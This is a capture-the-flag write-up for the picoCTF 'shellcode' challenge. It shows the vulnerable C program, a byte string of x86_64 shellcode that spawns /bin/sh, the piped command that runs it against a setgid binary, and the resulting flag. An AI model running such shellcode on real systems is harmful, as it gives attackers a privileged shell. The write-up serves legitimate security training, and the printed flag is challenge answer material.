Binary Exploitation 200: shellcode
Challenge
This program executes any input you give it. Can you get a shell?
You can find the program in /problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed
on the shell server.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
This code executes whatever machine instructions we give it.
We connect to the remote shell and have a look:
1
2
3
4
5
6
7
8
9
$ cd /problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed
$ ll
ll
total 776
drwxr-xr-x 2 root root 4096 Sep 28 08:11 ./
drwxr-x--x 576 root root 53248 Sep 30 03:45 ../
-r--r----- 1 hacksports shellcode_0 34 Sep 28 08:11 flag.txt
-rwxr-sr-x 1 hacksports shellcode_0 725408 Sep 28 08:11 vuln*
-rw-rw-r-- 1 hacksports hacksports 562 Sep 28 08:11 vuln.c
So we want to read the file flag.txt
, but do not have the right permissions.
Because the executable vuln
has the sgid bit
set, we need to get it to
read the contents for us.
Since the program executes any assembly code we give it, we can make it spawn us a
shell, retaining its escalated permissions, so that we can read the flag. There are
many online collections of such shellcode. We find a shellcode on
Shellstorm.
We first need to find the architecture of the remote machine
1
2
$ uname -a
Linux pico-2018-shell-1 4.4.0-1067-aws #77-Ubuntu SMP Mon Aug 27 13:22:03 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Okay, it’s Linux x86_64
. We find a shellcode on shellstorm in that category, we use
this one but any executing
a call to /bin/sh
will do.
We write the shellcode to a file and then use the following syntax to execute it:
1
$ cat ~/shellcode.txt - | ./vuln
to keep the shell waiting for stdin or else it will close immediately.
Here we go:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ python -c "print('\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xf
e\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81')" > ~
/shellcode.txt
$ cat ~/shellcode.txt - | ./vuln
Enter a string!
1V_ȈF22i0tii0cjo
Thanks! Executing now...
ls
flag.txt vuln vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_9ee0edd0}
Flag
picoCTF{shellc0de_w00h00_9ee0edd0}